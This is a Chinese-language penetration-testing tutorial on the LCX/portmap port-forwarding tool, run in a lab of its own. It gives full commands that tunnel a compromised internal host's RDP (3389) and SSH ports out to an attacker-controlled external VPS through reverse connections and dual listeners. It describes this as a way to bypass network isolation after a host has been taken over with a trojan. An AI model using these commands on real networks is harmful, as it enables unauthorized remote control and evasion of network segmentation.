【一】工具介绍
LCX(Local eXecute)是渗透测试中常用的一款端口转发工具,主要用于在目标机器受限的网络环境中进行端口转发,常用于 内网渗透 中打通受限网络。
它的核心作用是:实现端口的映射和转发,打通内外网通信通道。
该工具支持三种端口转发模式:正向转发、双监听、反向连接,可用于打通外网与内网之间的通信隧道。
- 模式1:将本地端口转发到
远程主机某个端口上 - 模式2:将本地端口转发到
本地另一个端口上 - 模式3:是进行
监听并进行转发使用
LCX 工具常用于被控主机处于内网环境时的端口转发操作。在实际渗透场景中,即便已经通过木马或其他方式获得了目标主机的控制权限,但由于内网隔离的限制,依然无法直接通过远程终端(如 RDP)对其进行图形化管理与操作,这在一定程度上限制了后续渗透工作的效率和便捷性。
因此,很多情况下,攻击者会设法在目标主机上启用
3389远程桌面端口,并借助 LCX 工具进行端口转发,使外网主机能够访问内网中的远程服务。通常情况下,外网主机是无法直接访问处于内网的目标主机的,但如果内网主机可以连接公网(如能 ping 通互联网),就可以利用 LCX 实现通信通道的“反向打通”。
具体做法是:将内网主机上的某个端口通过 LCX 转发映射到攻击者外网服务器的某个端口,然后,攻击者可在本地使用远程桌面客户端(如
mstsc 外网:转发的监听端口),通过 LCX 建立的转发通道,间接访问目标内网主机的 3389 远程桌面服务,从而实现对目标主机的图形化远程控制,就像直接访问本地计算机一样。
本质上,LCX 的功能就像是在内网主机与外网攻击者之间搭建了一条“隧道”,实现了类似于在路由器上设置端口映射的效果,从而绕过了内网隔离带来的访问限制。
【二】工具的使用方法
【1】Linux版LCX-portmap
Linux版LCX通常是一个命令行工具,用于内网穿透和端口转发。由于Linux系统自带丰富的网络工具,可以通过命令行方便地运行和集成LCX。
linux下的工具名称为portmap
命令格式:
./portmap -m <模式编号> [-h1 主机1] -p1 端口1 [-h2 主机2] -p2 端口2 [-v] [-log 文件名]
帮助文档:
root@HSYQ-Yun-VPS:~/Tools# ./portmap -help
Socket data transport tool # 工具说明:基于 Socket 的端口数据转发工具,支持监听、中继、转发等功能
by Sofia(www.vuln.cn) # 作者署名:Sofia,来自中国网络安全社区 www.vuln.cn
Usage: ./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
# 使用方法说明:必须指定 -m 模式,并根据模式提供主机和端口参数,支持日志记录和版本查看
-v: version # 显示工具版本信息,然后退出
-h1: host1 # 主机1(视模式而定,可能是源主机或目标主机)
-h2: host2 # 主机2(目标主机地址)
-p1: port1 # 端口1(根据模式:监听或连接的源端口)
-p2: port2 # 端口2(根据模式:目标服务端口)
-log: log the data # 将中转的数据记录到指定日志文件中(便于调试/分析)
-m: the action method for this tool # 设置运行模式(必选项,必须为 1/2/3 中的一种)
1: listen on PORT1 and connect to HOST2:PORT2
# 模式1:本地监听 PORT1,收到连接后自动连接 HOST2:PORT2,进行数据转发(正向代理)
2: listen on PORT1 and PORT2
# 模式2:同时监听两个端口,当两个客户端连接后,将它们的连接中继互通(如打洞中继)
3: connect to HOST1:PORT1 and HOST2:PORT2
# 模式3:主动同时连接 HOST1:PORT1 和 HOST2:PORT2,然后桥接传输数据(反向通道中继)
Let me exit...all overd # 工具退出提示语,风格幽默,表示程序执行完毕
root@HSYQ-Yun-VPS:~/Tools#
| 参数 | 是否必填 | 说明 | 适用模式 |
|---|---|---|---|
-m |
✅ 是 | 指定运行模式:1、2 或 3 | 所有模式 |
-h1 |
❌ 否 | 主机1(取决于模式:模式3必填,模式1/2可省略监听全部) | 模式1、3 |
-p1 |
✅ 是 | 端口1(监听端口或连接端口) | 所有模式 |
-h2 |
❌ 否 | 主机2(目标主机地址) | 模式1、3 |
-p2 |
✅ 是 | 端口2(连接目标端口) | 所有模式 |
-log |
❌ 否 | 启用日志记录功能,后接文件名 | 所有模式 |
-v |
❌ 否 | 显示版本号并退出 | 所有模式 |
以下所有实验环境为:
攻击机windows 11 :
192.168.124.27
靶机(受害机):windows server 2025 :
192.168.239.133
中转服务器(内网VPS)ubuntu server 20.04 :
192.168.239.133
中转服务器(外网VPS) :14.103. * . *
🔁 模式详解
✅ 模式 1:正向端口转发(Listen → Connect)
-
用途:在“中转机”上监听某端口,将流量转发到目标主机的某端口。
⚠️ 仅适用于 中转机能直接访问目标主机 IP:端口 的情况。 -
❌ 注意: 如果中转机无法访问 192.168.1.100(比如它在内网,未做穿透),此方法将失败!
-
典型应用场景:
- 同一内网环境中转发端口
- VPN/内网穿透已打通
- 云服务器通过内网专线或安全组打通了内网服务器
实验拓扑:

在中转服务器(内网VPS)ubuntu server 20.04执行:
./portmap -m 1 -p1 8888 -h2 192.168.239.133 -p2 3389

📌 效果:监听本地 8888 端口,转发到 192.168.239.133:3389(目标主机远程桌面)。
使用mstsc命令连接192.168.239.5:8888

输入靶机(受害机):windows server 2025的用户密码连接成功!

回头查看中转服务器(内网VPS)ubuntu server 20.04(内网VPS)的回显日志

✅ 模式 2:双端监听(Listen → Listen)
- 用途:在中转机上同时监听两个端口,实现两端数据互通。适合将 两个都无法主动连接对方的主机,通过
中转服务器互通。(前提是双方主机都能与中转服务器通信)
实验网络拓扑:

- 🎯 目标主机(中转机/跳板机)执行:
./portmap -m 2 -p1 8888 -p2 9999

[攻击者机器] ←连接→ [中转机:8888 <====> 9999] ←连接→ [目标机器]
📌 效果:公网服务器监听 8888 和 9999,连接这两个端口的主机可以互相通信。
- 端口
8888:给 攻击者 连接 - 端口
9999:给 目标主机(如:反向连接 payload)连接 - 中转机会把两端数据互通转发
在中转服务器(外网VPS) :14.103. * . * 执行:
./portmap -m 2 -p1 8888 -p2 9999

靶机(受害机):windows server 2025靶机的3389端口 转发 到外网服务器(外网VPS) :14.103. * . * 的8888端口执行命令:
lcx.exe -slave 14.103.*.* 8888 127.0.0.1 3389

内网3389端口转发成功至公网8888端口
🧑💻 攻击者主机使用mstsc远程连接靶机 RDP:
mstsc /v:14.103.*.*:9999

输入靶机(受害机):windows server 2025的用户密码连接成功!

回头查看中转服务器(外网VPS)的回显日志

✅ 模式 3:反向连接(Connect → Connect)
- 用途:用于目标主机处于内网或受限环境时,主动连接公网服务器,打通反向通信隧道。
实验网络拓扑:

- 🎯 内网linux目标主机执行:
./portmap -m 3 -h1 公网IP -p1 1234 -h2 127.0.0.1 -p2 3389
📌 效果:内网主机连接公网IP:1234(建立中转通道),并绑定本地 3389(远程桌面)端口用于转发。
如果内网靶机是Linux则执行:
./portmap -m 3 -h1 14.103.*.* -p1 1234 -h2 127.0.0.1 -p2 22
在使用这条命令前需现在外网VPS上监听对应端口:1234,搭配模式2进行实现
./portmap -m 2 -p1 1234 -p2 6666
正常情况VPS只有监听一个端口即可,但是 portmap这款工具 不能只单独监听一个端口,它在所有模式中都强制要求必须指定两个端口(-p1 和 -p2)。

此时再回到内网靶机进行端口转发

使用ssh进行连接外网中转服务器6666端口

🧩 实战组合案例:内网主机 RDP 远程穿透
✅ 场景说明:
内网主机开启了 3389 服务,但攻击者无法直接访问。通过端口转发,将内网 RDP 暴露至公网。(此案例较为常见,常用于内网渗透,具体实现与模式详解3类似,以下仅为思路,详细步骤请看模式详解3,以下不再累述!!)
🔹 步骤一:公网服务器开启双监听(中转)
./portmap -m 2 -p1 1234 -p2 8888
📌 公网服务器监听两个端口,用于中转连接。(是很有必要的)
模式2(双监听)会让服务器监听两个端口
一个给内网主机连接(比如 1234)
一个给攻击者连接(比如 8888)
🔁 内网主机接入 → 中转服务器内部转发 → 攻击者连接
需要注意的是这与内网穿透不一样:🌐 “将内网主机3389端口映射到公网服务器1234端口”,攻击者直接连接公网IP:1234。这种功能叫做端口映射 + SOCKS代理 + 隧道穿透。
🔹 步骤二:内网主机主动连接公网服务器
./portmap -m 3 -h1 公网IP -p1 1234 -h2 127.0.0.1 -p2 3389
📌 将内网主机的本地 3389 端口映射至公网服务器的 8888 端口。
🔹 步骤三:攻击者连接内网主机远程桌面
mstsc /v:IP:8888
📌 成功通过公网远程访问内网主机的桌面环境。
【2】Windows版LCX
C:\Tools>lcx.exe -help # 运行 lcx.exe 并查看帮助信息
======================== HUC Packet Transmit Tool V1.00 ======================= # 工具名称和版本信息:HUC 数据包转发工具 V1.00
=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url] ========== # 作者信息及官网链接
[Usage of Packet Transmit:] # 工具使用说明
lcx.exe -<listen|tran|slave> <option> [-log logfile] # 基本命令格式,三种模式之一,附加参数及可选日志参数
[option:] # 参数选项说明
-listen <ConnectPort> <TransmitPort> # 监听模式,监听 ConnectPort 端口,将数据转发到本机的 TransmitPort 端口
-tran <ConnectPort> <TransmitHost> <TransmitPort> # 传输模式,监听本地 ConnectPort 端口,将数据转发到远程主机 TransmitHost 的 TransmitPort 端口
-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort> # 从属模式,主动连接远程 ConnectHost:ConnectPort,并将数据转发到内网 TransmitHost:TransmitPort
C:\Tools> # 命令行提示符,等待下一条命令
【三】工具下载
百度网盘 密码:mx66